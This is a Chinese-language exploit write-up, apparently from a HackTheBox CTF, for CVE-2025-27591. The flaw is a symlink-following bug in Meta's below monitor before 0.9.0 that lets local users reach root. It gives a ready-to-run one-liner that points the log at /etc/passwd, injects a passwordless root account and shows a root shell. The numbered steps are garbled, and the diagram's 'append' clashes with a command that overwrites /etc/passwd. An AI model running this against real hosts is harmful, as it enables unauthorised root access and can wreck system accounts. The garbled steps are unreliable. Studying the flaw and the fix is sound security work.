below 符号链接本地权限提升| 字段 | 详情 |
|---|---|
| CVE | CVE-2025-27591 |
| 软件 | Meta below(系统资源监视器) |
| 受影响版本 | < 0.9.0 |
| 漏洞类型 | 符号链接跟随 → 任意文件覆盖为root |
| 身份验证 | 拥有 below 的sudo权限的本地用户 |
| 影响 | 本地权限提升至root |
| 背景 | 在HackTheBox CTF中发现 |
below 系统资源监控工具(由Meta Platforms, Inc.开发)在其错误日志记录机制中存在一个缺陷。当通过 sudo 调用时,它会强制对其位于 /var/log/below/ 的日志文件设置 0666 权限,而不先检查目标路径是否为符号链接。这使得本地攻击者可以将日志文件替换为指向任何root可写文件的符号链接,从而有效地用受控内容覆盖该文件。
当以root身份运行时,below < 0.9.0 中的日志记录代码按顺序执行以下操作:
/var/log/below/error_root.logchmod(path, 0o666) — 未检查是否为符号链接在第4步中,如果在执行前路径已被替换为符号链接,则写入操作将指向符号链接的目标,而非原始路径。
Local user
│
▼
Remove /var/log/below/error_root.log
│
▼
Create symlink: /var/log/below/error_root.log → /etc/passwd
│
▼
Trigger error via: sudo /usr/bin/below replay --time "invalid"
│ (below opens the "log file", chmod 0666 hits /etc/passwd, writes error)
▼
/etc/passwd is now world-writable
│
▼
Append rogue root entry: rooted::0:0:root:/root:/bin/bash
│
▼
su rooted → root shell
--time "invalid" 有效传递一个无效的时间字符串会强制 below 记录错误消息。错误路径到达日志记录代码,该代码盲目地写入文件,而此时文件正是我们设置的符号链接。
chmod +x exploit.sh
./exploit.sh
前提条件: 当前用户必须拥有执行
/usr/bin/below的sudo权限。
rm -f /var/log/below/error_root.log; \
ln -s /etc/passwd /var/log/below/error_root.log; \
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1; \
echo 'rooted::0:0:root:/root:/bin/bash' > /var/log/below/error_root.log; \
su rooted
$ whoami
lowpriv
$ ./exploit.sh
# whoami
root
该漏洞已在 below 版本 0.9.0 中修复。修复措施在日志记录路径中的任何文件操作之前引入了符号链接检查。